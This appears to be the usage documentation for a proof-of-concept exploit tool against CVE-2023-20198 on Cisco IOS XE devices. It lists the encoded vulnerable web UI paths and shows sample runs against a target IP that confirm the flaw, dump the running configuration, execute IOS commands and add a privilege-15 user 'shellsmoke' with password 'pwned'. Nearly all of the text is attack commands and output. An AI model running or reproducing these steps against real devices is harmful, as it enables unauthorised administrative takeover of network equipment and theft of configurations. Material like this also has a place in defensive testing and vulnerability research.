usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]

CVE-2023-20198 Exploit PoC

options:
  -h, --help          show this help message and exit
  -t targetIP         Target IP Address
  -l targetFile       File containing IP Addresses (-c only)
  -https              Use https
  -uri vulnerableURI  The URI that is vulnerable to exploit. The most common are "%2577eb%2575i_%2577sma_Http", "%2577eb%2575i_%2577sma_https", and "%2577ebui_wsma_https". You may need to play around with these along with -https to get a true positive result
  -c                  [X] Check for vulnerability
  -g                  [X] Get Cisco IOS running config
  -e command          [X] Execute Cisco IOS command
  -a                  [X] Add new priv 15 user
  -d                  [X] Remove priv 15 user
  -u newUserName      [Optional] user name for -a or -d. Default: shellsmoke
  -p newUserPass      [Optional] new user pass for -a. Default: pwned
  -o outputFile       Write output to file
  -v                  Increase verbosity

# ./exploit.py -t 10.0.0.1 -c

Testing for vulnerability
Target IP:      10.0.0.1
Target URL:     http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable:     True
IOS Ver:        <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)

# ./exploit.py -t 10.0.0.1 -g

Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...

# ./exploit.py -t 10.0.0.1 -e 'sh log'

Selected Target:        10.0.0.1
Running in Exec Mode
Executing Command:      sh log

Sending exploit to target URL:  http://10.0.0.1/%2577eb%2575i_%2577sma_Http

Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
    Console logging: level debugging, 5368 messages logged, xml disabled,
                     filtering disabled
...

# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned

Selected Target:        10.0.0.1
Adding New Privilege 15 User
New User Name:  shellsmoke
New User Pass:  pwned

Sending exploit to target URL:  http://10.0.0.1/%2577eb%2575i_%2577sma_Http

No reportable output from adding users
Check verbose ouput or get running config
Done.